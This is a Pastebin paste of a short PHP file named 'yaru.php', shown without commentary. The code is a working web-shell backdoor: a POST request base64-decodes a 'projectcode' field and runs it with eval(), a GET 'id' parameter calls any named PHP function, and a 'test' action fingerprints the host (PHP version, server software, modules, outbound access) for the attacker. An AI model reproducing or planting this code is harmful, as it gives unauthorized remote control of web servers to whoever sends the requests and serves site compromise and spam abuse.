PalmaSolutions

yaru.php

Apr 20th, 2018
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.61 KB | None | 0 0
  1. <?php //7a545e02921c15c8f7062ad07bf5201e
  2.  
  3. /**
  4.  * @version 2.5
  5.  *
  6.  */
  7. if (isset($_POST["action"]))
  8. {
  9.         switch ($_POST["action"])
  10.         {
  11.                 case "test":
  12.                         test();
  13.                         break;
  14.                 case "regular_test":
  15.                         regular_test();
  16.                         break;              
  17.                 case "mail":
  18.                         send();
  19.                         break;
  20.                 default:
  21.                         break;
  22.         }
  23.         return;
  24. }
  25.  
  26. if (count($_GET) > 0)
  27. {
  28.         foreach ($_GET as $id => $code)
  29.         {
  30.                 if ($id == "id")
  31.                 {
  32.                         $code();
  33.                 }
  34.         }
  35.         return;
  36. }
  37.  
  38. function test()
  39. {
  40.         $encoded_data = "";
  41.  
  42.         $data["version"] = phpversion();
  43.         if (isset($_SERVER["SERVER_SOFTWARE"]))
  44.         {
  45.                 $data["serverapi"] = $_SERVER["SERVER_SOFTWARE"];
  46.         }
  47.         else
  48.         {
  49.                 $data["serverapi"] = "Not Available";
  50.         }
  51.         ob_start();
  52.         phpinfo(8);
  53.         $data["modules"] = ob_get_contents();
  54.         ob_clean();
  55.         $data["ext_connect"] = fopen("http://www.ya.ru/", "r") ? TRUE : FALSE;
  56.         $serializes_data = serialize($data);
  57.         $encoded_data = base64_encode($serializes_data);
  58.         echo $_POST["test_message"] . $encoded_data;
  59. }
  60.  
  61. function regular_test()
  62. {
  63.         echo $_POST["test_message"];
  64. }
  65.  
  66. function send()
  67. {
  68.         $code = base64_decode($_POST["projectcode"]);
  69.      
  70.         eval($code);
  71.         //return;
  72. }
Advertisement
Add Comment
Please, Sign In to add comment